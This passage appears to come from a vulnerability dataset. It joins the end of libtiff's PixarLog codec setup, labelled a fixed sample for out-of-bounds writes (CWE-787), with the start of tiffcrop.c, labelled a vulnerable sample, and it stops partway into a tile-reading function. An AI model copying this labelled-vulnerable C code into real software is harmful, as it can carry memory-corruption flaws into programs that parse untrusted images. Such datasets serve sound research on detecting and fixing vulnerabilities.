pixarlogFields[] = { {TIFFTAG_PIXARLOGDATAFMT, 0, 0, TIFF_ANY, 0, TIFF_SETGET_INT, TIFF_SETGET_UNDEFINED, FIELD_PSEUDO, FALSE, FALSE, "", NULL}, {TIFFTAG_PIXARLOGQUALITY, 0, 0, TIFF_ANY, 0, TIFF_SETGET_INT, TIFF_SETGET_UNDEFINED, FIELD_PSEUDO, FALSE, FALSE, "", NULL} }; int TIFFInitPixarLog(TIFF* tif, int scheme) { static const char module[] = "TIFFInitPixarLog"; PixarLogState* sp; assert(scheme == COMPRESSION_PIXARLOG); /* * Merge codec-specific tag information. */ if (!_TIFFMergeFields(tif, pixarlogFields, TIFFArrayCount(pixarlogFields))) { TIFFErrorExt(tif->tif_clientdata, module, "Merging PixarLog codec-specific tags failed"); return 0; } /* * Allocate state block so tag methods have storage to record values. */ tif->tif_data = (uint8*) _TIFFmalloc(sizeof (PixarLogState)); if (tif->tif_data == NULL) goto bad; sp = (PixarLogState*) tif->tif_data; _TIFFmemset(sp, 0, sizeof (*sp)); sp->stream.data_type = Z_BINARY; sp->user_datafmt = PIXARLOGDATAFMT_UNKNOWN; /* * Install codec methods. */ tif->tif_fixuptags = PixarLogFixupTags; tif->tif_setupdecode = PixarLogSetupDecode; tif->tif_predecode = PixarLogPreDecode; tif->tif_decoderow = PixarLogDecode; tif->tif_decodestrip = PixarLogDecode; tif->tif_decodetile = PixarLogDecode; tif->tif_setupencode = PixarLogSetupEncode; tif->tif_preencode = PixarLogPreEncode; tif->tif_postencode = PixarLogPostEncode; tif->tif_encoderow = PixarLogEncode; tif->tif_encodestrip = PixarLogEncode; tif->tif_encodetile = PixarLogEncode; tif->tif_close = PixarLogClose; tif->tif_cleanup = PixarLogCleanup; /* Override SetField so we can handle our private pseudo-tag */ sp->vgetparent = tif->tif_tagmethods.vgetfield; tif->tif_tagmethods.vgetfield = PixarLogVGetField; /* hook for codec tags */ sp->vsetparent = tif->tif_tagmethods.vsetfield; tif->tif_tagmethods.vsetfield = PixarLogVSetField; /* hook for codec tags */ /* Default values for codec-specific fields */ sp->quality = Z_DEFAULT_COMPRESSION; /* default comp. level */ sp->state = 0; /* we don't wish to use the predictor, * the default is none, which predictor value 1 */ (void) TIFFPredictorInit(tif); /* * build the companding tables */ PixarLogMakeTables(sp); return (1); bad: TIFFErrorExt(tif->tif_clientdata, module, "No space for PixarLog state block"); return (0); } #endif /* PIXARLOG_SUPPORT */ /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/good_5474_1
crossvul-cpp_data_bad_5478_4
/* $Id$ */ /* tiffcrop.c -- a port of tiffcp.c extended to include manipulations of * the image data through additional options listed below * * Original code: * Copyright (c) 1988-1997 Sam Leffler * Copyright (c) 1991-1997 Silicon Graphics, Inc. * Additions (c) Richard Nolde 2006-2010 * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS OR ANY OTHER COPYRIGHT * HOLDERS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL * DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, * DATA OR PROFITS, WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND * ON ANY THEORY OF LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE * OR PERFORMANCE OF THIS SOFTWARE. * * Some portions of the current code are derived from tiffcp, primarly in * the areas of lowlevel reading and writing of TAGS, scanlines and tiles though * some of the original functions have been extended to support arbitrary bit * depths. These functions are presented at the top of this file. * * Add support for the options below to extract sections of image(s) * and to modify the whole image or selected portions of each image by * rotations, mirroring, and colorscale/colormap inversion of selected * types of TIFF images when appropriate. Some color model dependent * functions are restricted to bilevel or 8 bit per sample data. * See the man page for the full explanations. * * New Options: * -h Display the syntax guide. * -v Report the version and last build date for tiffcrop and libtiff. * -z x1,y1,x2,y2:x3,y3,x4,y4:..xN,yN,xN + 1, yN + 1 * Specify a series of coordinates to define rectangular * regions by the top left and lower right corners. * -e c|d|i|m|s export mode for images and selections from input images * combined All images and selections are written to a single file (default) * with multiple selections from one image combined into a single image * divided All images and selections are written to a single file * with each selection from one image written to a new image * image Each input image is written to a new file (numeric filename sequence) * with multiple selections from the image combined into one image * multiple Each input image is written to a new file (numeric filename sequence) * with each selection from the image written to a new image * separated Individual selections from each image are written to separate files * -U units [in, cm, px ] inches, centimeters or pixels * -H # Set horizontal resolution of output images to # * -V # Set vertical resolution of output images to # * -J # Horizontal margin of output page to # expressed in current * units when sectioning image into columns x rows * using the -S cols:rows option. * -K # Vertical margin of output page to # expressed in current * units when sectioning image into columns x rows * using the -S cols:rows option. * -X # Horizontal dimension of region to extract expressed in current * units * -Y # Vertical dimension of region to extract expressed in current * units * -O orient Orientation for output image, portrait, landscape, auto * -P page Page size for output image segments, eg letter, legal, tabloid, * etc. * -S cols:rows Divide the image into equal sized segments using cols across * and rows down * -E t|l|r|b Edge to use as origin * -m #,#,#,# Margins from edges for selection: top, left, bottom, right * (commas separated) * -Z #:#,#:# Zones of the image designated as zone X of Y, * eg 1:3 would be first of three equal portions measured * from reference edge * -N odd|even|#,#-#,#|last * Select sequences and/or ranges of images within file * to process. The words odd or even may be used to specify * all odd or even numbered images the word last may be used * in place of a number in the sequence to indicate the final * image in the file without knowing how many images there are. * -R # Rotate image or crop selection by 90,180,or 270 degrees * clockwise * -F h|v Flip (mirror) image or crop selection horizontally * or vertically * -I [black|white|data|both] * Invert color space, eg dark to light for bilevel and grayscale images * If argument is white or black, set the PHOTOMETRIC_INTERPRETATION * tag to MinIsBlack or MinIsWhite without altering the image data * If the argument is data or both, the image data are modified: * both inverts the data and the PHOTOMETRIC_INTERPRETATION tag, * data inverts the data but not the PHOTOMETRIC_INTERPRETATION tag * -D input:<filename1>,output:<filename2>,format:<raw|txt>,level:N,debug:N * Dump raw data for input and/or output images to individual files * in raw (binary) format or text (ASCII) representing binary data * as strings of 1s and 0s. The filename arguments are used as stems * from which individual files are created for each image. Text format * includes annotations for image parameters and scanline info. Level * selects which functions dump data, with higher numbers selecting * lower level, scanline level routines. Debug reports a limited set * of messages to monitor progess without enabling dump logs. */ static char tiffcrop_version_id[] = "2.4"; static char tiffcrop_rev_date[] = "12-13-2010"; #include "tif_config.h" #include "tiffiop.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> #include <ctype.h> #include <limits.h> #include <sys/stat.h> #include <assert.h> #ifdef HAVE_UNISTD_H # include <unistd.h> #endif #ifdef HAVE_STDINT_H # include <stdint.h> #endif #ifndef HAVE_GETOPT extern int getopt(int argc, char * const argv[], const char *optstring); #endif #ifdef NEED_LIBPORT # include "libport.h" #endif #include "tiffio.h" #if defined(VMS) # define unlink delete #endif #ifndef PATH_MAX #define PATH_MAX 1024 #endif #ifndef streq #define streq(a,b) (strcmp((a),(b)) == 0) #endif #define strneq(a,b,n) (strncmp((a),(b),(n)) == 0) #define TRUE 1 #define FALSE 0 #ifndef TIFFhowmany #define TIFFhowmany(x, y) ((((uint32)(x))+(((uint32)(y))-1))/((uint32)(y))) #define TIFFhowmany8(x) (((x)&0x07)?((uint32)(x)>>3)+1:(uint32)(x)>>3) #endif /* * Definitions and data structures required to support cropping and image * manipulations. */ #define EDGE_TOP 1 #define EDGE_LEFT 2 #define EDGE_BOTTOM 3 #define EDGE_RIGHT 4 #define EDGE_CENTER 5 #define MIRROR_HORIZ 1 #define MIRROR_VERT 2 #define MIRROR_BOTH 3 #define ROTATECW_90 8 #define ROTATECW_180 16 #define ROTATECW_270 32 #define ROTATE_ANY (ROTATECW_90 | ROTATECW_180 | ROTATECW_270) #define CROP_NONE 0 #define CROP_MARGINS 1 #define CROP_WIDTH 2 #define CROP_LENGTH 4 #define CROP_ZONES 8 #define CROP_REGIONS 16 #define CROP_ROTATE 32 #define CROP_MIRROR 64 #define CROP_INVERT 128 /* Modes for writing out images and selections */ #define ONE_FILE_COMPOSITE 0 /* One file, sections combined sections */ #define ONE_FILE_SEPARATED 1 /* One file, sections to new IFDs */ #define FILE_PER_IMAGE_COMPOSITE 2 /* One file per image, combined sections */ #define FILE_PER_IMAGE_SEPARATED 3 /* One file per input image */ #define FILE_PER_SELECTION 4 /* One file per selection */ #define COMPOSITE_IMAGES 0 /* Selections combined into one image */ #define SEPARATED_IMAGES 1 /* Selections saved to separate images */ #define STRIP 1 #define TILE 2 #define MAX_REGIONS 8 /* number of regions to extract from a single page */ #define MAX_OUTBUFFS 8 /* must match larger of zones or regions */ #define MAX_SECTIONS 32 /* number of sections per page to write to output */ #define MAX_IMAGES 2048 /* number of images in descrete list, not in the file */ #define MAX_SAMPLES 8 /* maximum number of samples per pixel supported */ #define MAX_BITS_PER_SAMPLE 64 /* maximum bit depth supported */ #define MAX_EXPORT_PAGES 999999 /* maximum number of export pages per file */ #define DUMP_NONE 0 #define DUMP_TEXT 1 #define DUMP_RAW 2 /* Offsets into buffer for margins and fixed width and length segments */ struct offset { uint32 tmargin; uint32 lmargin; uint32 bmargin; uint32 rmargin; uint32 crop_width; uint32 crop_length; uint32 startx; uint32 endx; uint32 starty; uint32 endy; }; /* Description of a zone within the image. Position 1 of 3 zones would be * the first third of the image. These are computed after margins and * width/length requests are applied so that you can extract multiple * zones from within a larger region for OCR or barcode recognition. */ struct buffinfo { uint32 size; /* size of this buffer */ unsigned char *buffer; /* address of the allocated buffer */ }; struct zone { int position; /* ordinal of segment to be extracted */ int total; /* total equal sized divisions of crop area */ }; struct pageseg { uint32 x1; /* index of left edge */ uint32 x2; /* index of right edge */ uint32 y1; /* index of top edge */ uint32 y2; /* index of bottom edge */ int position; /* ordinal of segment to be extracted */ int total; /* total equal sized divisions of crop area */ uint32 buffsize; /* size of buffer needed to hold the cropped zone */ }; struct coordpairs { double X1; /* index of left edge in current units */ double X2; /* index of right edge in current units */ double Y1; /* index of top edge in current units */ double Y2; /* index of bottom edge in current units */ }; struct region { uint32 x1; /* pixel offset of left edge */ uint32 x2; /* pixel offset of right edge */ uint32 y1; /* pixel offset of top edge */ uint32 y2; /* picel offset of bottom edge */ uint32 width; /* width in pixels */ uint32 length; /* length in pixels */ uint32 buffsize; /* size of buffer needed to hold the cropped region */ unsigned char *buffptr; /* address of start of the region */ }; /* Cropping parameters from command line and image data * Note: This should be renamed to proc_opts and expanded to include all current globals * if possible, but each function that accesses global variables will have to be redone. */ struct crop_mask { double width; /* Selection width for master crop region in requested units */ double length; /* Selection length for master crop region in requesed units */ double margins[4]; /* Top, left, bottom, right margins */ float xres; /* Horizontal resolution read from image*/ float yres; /* Vertical resolution read from image */ uint32 combined_width; /* Width of combined cropped zones */ uint32 combined_length; /* Length of combined cropped zones */ uint32 bufftotal; /* Size of buffer needed to hold all the cropped region */ uint16 img_mode; /* Composite or separate images created from zones or regions */ uint16 exp_mode; /* Export input images or selections to one or more files */ uint16 crop_mode; /* Crop options to be applied */ uint16 res_unit; /* Resolution unit for margins and selections */ uint16 edge_ref; /* Reference edge for sections extraction and combination */ uint16 rotation; /* Clockwise rotation of the extracted region or image */ uint16 mirror; /* Mirror extracted region or image horizontally or vertically */ uint16 invert; /* Invert the color map of image or region */ uint16 photometric; /* Status of photometric interpretation for inverted image */ uint16 selections; /* Number of regions or zones selected */ uint16 regions; /* Number of regions delimited by corner coordinates */ struct region regionlist[MAX_REGIONS]; /* Regions within page or master crop region */ uint16 zones; /* Number of zones delimited by Ordinal:Total requested */ struct zone zonelist[MAX_REGIONS]; /* Zones indices to define a region */ struct coordpairs corners[MAX_REGIONS]; /* Coordinates of upper left and lower right corner */ }; #define MAX_PAPERNAMES 49 #define MAX_PAPERNAME_LENGTH 15 #define DEFAULT_RESUNIT RESUNIT_INCH #define DEFAULT_PAGE_HEIGHT 14.0 #define DEFAULT_PAGE_WIDTH 8.5 #define DEFAULT_RESOLUTION 300 #define DEFAULT_PAPER_SIZE "legal" #define ORIENTATION_NONE 0 #define ORIENTATION_PORTRAIT 1 #define ORIENTATION_LANDSCAPE 2 #define ORIENTATION_SEASCAPE 4 #define ORIENTATION_AUTO 16 #define PAGE_MODE_NONE 0 #define PAGE_MODE_RESOLUTION 1 #define PAGE_MODE_PAPERSIZE 2 #define PAGE_MODE_MARGINS 4 #define PAGE_MODE_ROWSCOLS 8 #define INVERT_DATA_ONLY 10 #define INVERT_DATA_AND_TAG 11 struct paperdef { char name[MAX_PAPERNAME_LENGTH]; double width; double length; double asratio; }; /* European page sizes corrected from update sent by * thomas . jarosch @ intra2net . com on 5/7/2010 * Paper Size Width Length Aspect Ratio */ struct paperdef PaperTable[MAX_PAPERNAMES] = { {"default", 8.500, 14.000, 0.607}, {"pa4", 8.264, 11.000, 0.751}, {"letter", 8.500, 11.000, 0.773}, {"legal", 8.500, 14.000, 0.607}, {"half-letter", 8.500, 5.514, 1.542}, {"executive", 7.264, 10.528, 0.690}, {"tabloid", 11.000, 17.000, 0.647}, {"11x17", 11.000, 17.000, 0.647}, {"ledger", 17.000, 11.000, 1.545}, {"archa", 9.000, 12.000, 0.750}, {"archb", 12.000, 18.000, 0.667}, {"archc", 18.000, 24.000, 0.750}, {"archd", 24.000, 36.000, 0.667}, {"arche", 36.000, 48.000, 0.750}, {"csheet", 17.000, 22.000, 0.773}, {"dsheet", 22.000, 34.000, 0.647}, {"esheet", 34.000, 44.000, 0.773}, {"superb", 11.708, 17.042, 0.687}, {"commercial", 4.139, 9.528, 0.434}, {"monarch", 3.889, 7.528, 0.517}, {"envelope-dl", 4.333, 8.681, 0.499}, {"envelope-c5", 6.389, 9.028, 0.708}, {"europostcard", 4.139, 5.833, 0.710}, {"a0", 33.110, 46.811, 0.707}, {"a1", 23.386, 33.110, 0.706}, {"a2", 16.535, 23.386, 0.707}, {"a3", 11.693, 16.535, 0.707}, {"a4", 8.268, 11.693, 0.707}, {"a5", 5.827, 8.268, 0.705}, {"a6", 4.134, 5.827, 0.709}, {"a7", 2.913, 4.134, 0.705}, {"a8", 2.047, 2.913, 0.703}, {"a9", 1.457, 2.047, 0.712}, {"a10", 1.024, 1.457, 0.703}, {"b0", 39.370, 55.669, 0.707}, {"b1", 27.835, 39.370, 0.707}, {"b2", 19.685, 27.835, 0.707}, {"b3", 13.898, 19.685, 0.706}, {"b4", 9.843, 13.898, 0.708}, {"b5", 6.929, 9.843, 0.704}, {"b6", 4.921, 6.929, 0.710}, {"c0", 36.102, 51.063, 0.707}, {"c1", 25.512, 36.102, 0.707}, {"c2", 18.031, 25.512, 0.707}, {"c3", 12.756, 18.031, 0.707}, {"c4", 9.016, 12.756, 0.707}, {"c5", 6.378, 9.016, 0.707}, {"c6", 4.488, 6.378, 0.704}, {"", 0.000, 0.000, 1.000} }; /* Structure to define input image parameters */ struct image_data { float xres; float yres; uint32 width; uint32 length; uint16 res_unit; uint16 bps; uint16 spp; uint16 planar; uint16 photometric; uint16 orientation; uint16 compression; uint16 adjustments; }; /* Structure to define the output image modifiers */ struct pagedef { char name[16]; double width; /* width in pixels */ double length; /* length in pixels */ double hmargin; /* margins to subtract from width of sections */ double vmargin; /* margins to subtract from height of sections */ double hres; /* horizontal resolution for output */ double vres; /* vertical resolution for output */ uint32 mode; /* bitmask of modifiers to page format */ uint16 res_unit; /* resolution unit for output image */ unsigned int rows; /* number of section rows */ unsigned int cols; /* number of section cols */ unsigned int orient; /* portrait, landscape, seascape, auto */ }; struct dump_opts { int debug; int format; int level; char mode[4]; char infilename[PATH_MAX + 1]; char outfilename[PATH_MAX + 1]; FILE *infile; FILE *outfile; }; /* globals */ static int outtiled = -1; static uint32 tilewidth = 0; static uint32 tilelength = 0; static uint16 config = 0; static uint16 compression = 0; static uint16 predictor = 0; static uint16 fillorder = 0; static uint32 rowsperstrip = 0; static uint32 g3opts = 0; static int ignore = FALSE; /* if true, ignore read errors */ static uint32 defg3opts = (uint32) -1; static int quality = 100; /* JPEG quality */ /* static int jpegcolormode = -1; was JPEGCOLORMODE_RGB; */ static int jpegcolormode = JPEGCOLORMODE_RGB; static uint16 defcompression = (uint16) -1; static uint16 defpredictor = (uint16) -1; static int pageNum = 0; static int little_endian = 1; /* Functions adapted from tiffcp with additions or significant modifications */ static int readContigStripsIntoBuffer (TIFF*, uint8*); static int readSeparateStripsIntoBuffer (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int readContigTilesIntoBuffer (TIFF*, uint8*, uint32, uint32, uint32, uint32, tsample_t, uint16); static int readSeparateTilesIntoBuffer (TIFF*, uint8*, uint32, uint32, uint32, uint32, tsample_t, uint16); static int writeBufferToContigStrips (TIFF*, uint8*, uint32); static int writeBufferToContigTiles (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int writeBufferToSeparateStrips (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int writeBufferToSeparateTiles (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int extractContigSamplesToBuffer (uint8 *, uint8 *, uint32, uint32, tsample_t, uint16, uint16, struct dump_opts *); static int processCompressOptions(char*); static void usage(void); /* All other functions by Richard Nolde, not found in tiffcp */ static void initImageData (struct image_data *); static void initCropMasks (struct crop_mask *); static void initPageSetup (struct pagedef *, struct pageseg *, struct buffinfo []); static void initDumpOptions(struct dump_opts *); /* Command line and file naming functions */ void process_command_opts (int, char *[], char *, char *, uint32 *, uint16 *, uint16 *, uint32 *, uint32 *, uint32 *, struct crop_mask *, struct pagedef *, struct dump_opts *, unsigned int *, unsigned int *); static int update_output_file (TIFF **, char *, int, char *, unsigned int *); /* * High level functions for whole image manipulation */ static int get_page_geometry (char *, struct pagedef*); static int computeInputPixelOffsets(struct crop_mask *, struct image_data *, struct offset *); static int computeOutputPixelOffsets (struct crop_mask *, struct image_data *, struct pagedef *, struct pageseg *, struct dump_opts *); static int loadImage(TIFF *, struct image_data *, struct dump_opts *, unsigned char **); static int correct_orientation(struct image_data *, unsigned char **); static int getCropOffsets(struct image_data *, struct crop_mask *, struct dump_opts *); static int processCropSelections(struct image_data *, struct crop_mask *, unsigned char **, struct buffinfo []); static int writeSelections(TIFF *, TIFF **, struct crop_mask *, struct image_data *, struct dump_opts *, struct buffinfo [], char *, char *, unsigned int*, unsigned int); /* Section functions */ static int createImageSection(uint32, unsigned char **); static int extractImageSection(struct image_data *, struct pageseg *, unsigned char *, unsigned char *); static int writeSingleSection(TIFF *, TIFF *, struct image_data *, struct dump_opts *, uint32, uint32, double, double, unsigned char *); static int writeImageSections(TIFF *, TIFF *, struct image_data *, struct pagedef *, struct pageseg *, struct dump_opts *, unsigned char *, unsigned char **); /* Whole image functions */ static int createCroppedImage(struct image_data *, struct crop_mask *, unsigned char **, unsigned char **); static int writeCroppedImage(TIFF *, TIFF *, struct image_data *image, struct dump_opts * dump, uint32, uint32, unsigned char *, int, int); /* Image manipulation functions */ static int rotateContigSamples8bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples16bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples24bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples32bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateImage(uint16, struct image_data *, uint32 *, uint32 *, unsigned char **); static int mirrorImage(uint16, uint16, uint16, uint32, uint32, unsigned char *); static int invertImage(uint16, uint16, uint16, uint32, uint32, unsigned char *); /* Functions to reverse the sequence of samples in a scanline */ static int reverseSamples8bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples16bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples24bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples32bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamplesBytes (uint16, uint16, uint32, uint8 *, uint8 *); /* Functions for manipulating individual samples in an image */ static int extractSeparateRegion(struct image_data *, struct crop_mask *, unsigned char *, unsigned char *, int); static int extractCompositeRegions(struct image_data *, struct crop_mask *, unsigned char *, unsigned char *); static int extractContigSamples8bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples16bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples24bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples32bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamplesBytes (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamplesShifted8bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted16bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted24bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted32bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesToTileBuffer(uint8 *, uint8 *, uint32, uint32, uint32, uint32, tsample_t, uint16, uint16, uint16, struct dump_opts *); /* Functions to combine separate planes into interleaved planes */ static int combineSeparateSamples8bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples16bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples24bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples32bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamplesBytes (unsigned char *[], unsigned char *, uint32, uint32, tsample_t, uint16, FILE *, int, int); static int combineSeparateTileSamples8bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples16bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples24bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples32bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamplesBytes (unsigned char *[], unsigned char *, uint32, uint32, uint32, uint32, tsample_t, uint16, FILE *, int, int); /* Dump functions for debugging */ static void dump_info (FILE *, int, char *, char *, ...); static int dump_data (FILE *, int, char *, unsigned char *, uint32); static int dump_byte (FILE *, int, char *, unsigned char); static int dump_short (FILE *, int, char *, uint16); static int dump_long (FILE *, int, char *, uint32); static int dump_wide (FILE *, int, char *, uint64); static int dump_buffer (FILE *, int, uint32, uint32, uint32, unsigned char *); /* End function declarations */ /* Functions derived in whole or in part from tiffcp */ /* The following functions are taken largely intact from tiffcp */ static char* usage_info[] = { "usage: tiffcrop [options] source1 ... sourceN destination", "where options are:", " -h Print this syntax listing", " -v Print tiffcrop version identifier and last revision date", " ", " -a Append to output instead of overwriting", " -d offset Set initial directory offset, counting first image as one, not zero", " -p contig Pack samples contiguously (e.g. RGBRGB...)", " -p separate Store samples separately (e.g. RRR...GGG...BBB...)", " -s Write output in strips", " -t Write output in tiles", " -i Ignore read errors", " ", " -r # Make each strip have no more than # rows", " -w # Set output tile width (pixels)", " -l # Set output tile length (pixels)", " ", " -f lsb2msb Force lsb-to-msb FillOrder for output", " -f msb2lsb Force msb-to-lsb FillOrder for output", "", " -c lzw[:opts] Compress output with Lempel-Ziv & Welch encoding", " -c zip[:opts] Compress output with deflate encoding", " -c jpeg[:opts] Compress output with JPEG encoding", " -c packbits Compress output with packbits encoding", " -c g3[:opts] Compress output with CCITT Group 3 encoding", " -c g4 Compress output with CCITT Group 4 encoding", " -c none Use no compression algorithm on output", " ", "Group 3 options:", " 1d Use default CCITT Group 3 1D-encoding", " 2d Use optional CCITT Group 3 2D-encoding", " fill Byte-align EOL codes", "For example, -c g3:2d:fill to get G3-2D-encoded data with byte-aligned EOLs", " ", "JPEG options:", " # Set compression quality level (0-100, default 100)", " raw Output color image as raw YCbCr", " rgb Output color image as RGB", "For example, -c jpeg:rgb:50 to get JPEG-encoded RGB data with 50% comp. quality", " ", "LZW and deflate options:", " # Set predictor value", "For example, -c lzw:2 to get LZW-encoded data with horizontal differencing", " ", "Page and selection options:", " -N odd|even|#,#-#,#|last sequences and ranges of images within file to process", " The words odd or even may be used to specify all odd or even numbered images.", " The word last may be used in place of a number in the sequence to indicate.", " The final image in the file without knowing how many images there are.", " Numbers are counted from one even though TIFF IFDs are counted from zero.", " ", " -E t|l|r|b edge to use as origin for width and length of crop region", " -U units [in, cm, px ] inches, centimeters or pixels", " ", " -m #,#,#,# margins from edges for selection: top, left, bottom, right separated by commas", " -X # horizontal dimension of region to extract expressed in current units", " -Y # vertical dimension of region to extract expressed in current units", " -Z #:#,#:# zones of the image designated as position X of Y,", " eg 1:3 would be first of three equal portions measured from reference edge", " -z x1,y1,x2,y2:...:xN,yN,xN+1,yN+1", " regions of the image designated by upper left and lower right coordinates", "", "Export grouping options:", " -e c|d|i|m|s export mode for images and selections from input images.", " When exporting a composite image from multiple zones or regions", " (combined and image modes), the selections must have equal sizes", " for the axis perpendicular to the edge specified with -E.", " c|combined All images and selections are written to a single file (default).", " with multiple selections from one image combined into a single image.", " d|divided All images and selections are written to a single file", " with each selection from one image written to a new image.", " i|image Each input image is written to a new file (numeric filename sequence)", " with multiple selections from the image combined into one image.", " m|multiple Each input image is written to a new file (numeric filename sequence)", " with each selection from the image written to a new image.", " s|separated Individual selections from each image are written to separate files.", "", "Output options:", " -H # Set horizontal resolution of output images to #", " -V # Set vertical resolution of output images to #", " -J # Set horizontal margin of output page to # expressed in current units", " when sectioning image into columns x rows using the -S cols:rows option", " -K # Set verticalal margin of output page to # expressed in current units", " when sectioning image into columns x rows using the -S cols:rows option", " ", " -O orient orientation for output image, portrait, landscape, auto", " -P page page size for output image segments, eg letter, legal, tabloid, etc", " use #.#x#.# to specify a custom page size in the currently defined units", " where #.# represents the width and length", " -S cols:rows Divide the image into equal sized segments using cols across and rows down.", " ", " -F hor|vert|both", " flip (mirror) image or region horizontally, vertically, or both", " -R # [90,180,or 270] degrees clockwise rotation of image or extracted region", " -I [black|white|data|both]", " invert color space, eg dark to light for bilevel and grayscale images", " If argument is white or black, set the PHOTOMETRIC_INTERPRETATION ", " tag to MinIsBlack or MinIsWhite without altering the image data", " If the argument is data or both, the image data are modified:", " both inverts the data and the PHOTOMETRIC_INTERPRETATION tag,", " data inverts the data but not the PHOTOMETRIC_INTERPRETATION tag", " ", "-D opt1:value1,opt2:value2,opt3:value3:opt4:value4", " Debug/dump program progress and/or data to non-TIFF files.", " Options include the following and must be joined as a comma", " separate list. The use of this option is generally limited to", " program debugging and development of future options.", " ", " debug:N Display limited program progress indicators where larger N", " increase the level of detail. Note: Tiffcrop may be compiled with", " -DDEVELMODE to enable additional very low level debug reporting.", "", " Format:txt|raw Format any logged data as ASCII text or raw binary ", " values. ASCII text dumps include strings of ones and zeroes", " representing the binary values in the image data plus identifying headers.", " ", " level:N Specify the level of detail presented in the dump files.", " This can vary from dumps of the entire input or output image data to dumps", " of data processed by specific functions. Current range of levels is 1 to 3.", " ", " input:full-path-to-directory/input-dumpname", " ", " output:full-path-to-directory/output-dumpnaem", " ", " When dump files are being written, each image will be written to a separate", " file with the name built by adding a numeric sequence value to the dumpname", " and an extension of .txt for ASCII dumps or .bin for binary dumps.", " ", " The four debug/dump options are independent, though it makes little sense to", " specify a dump file without specifying a detail level.", " ", NULL }; /* This function could be modified to pass starting sample offset * and number of samples as args to select fewer than spp * from input image. These would then be passed to individual * extractContigSampleXX routines. */ static int readContigTilesIntoBuffer (TIFF* in, uint8* buf, uint32 imagelength, uint32 imagewidth, uint32 tw, uint32 tl, tsample_t spp, uint16 bps) { int status = 1; tsample_t sample = 0; tsample_t count = spp; uint32 row, col, trow; uint32 nrow, ncol; uint32 dst_rowsize, shift_width; uint32 bytes_per_sample, bytes_per_pixel; uint32 trailing_bits, prev_trailing_bits; uint32 tile_rowsize = TIFFTileRowSize(in); uint32 src_offset, dst_offset; uint32 row_offset, col_offset; uint8 *bufp = (uint8*) buf; unsigned char *src = NULL; unsigned char *dst = NULL; tsize_t tbytes = 0, tile_buffsize = 0; tsize_t tilesize = TIFFTileSize(in); unsigned char *tilebuf = NULL; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } tile_buffsize = tilesize; if (tilesize == 0 || tile_rowsize == 0) { TIFFError("readContigTilesIntoBuffer", "Tile size or tile rowsize is zero"); exit(-1); } if (tilesize < (tsize_t)(tl * tile_rowsize)) { #ifdef DEBUG2 TIFFError("readContigTilesIntoBuffer", "Tilesize 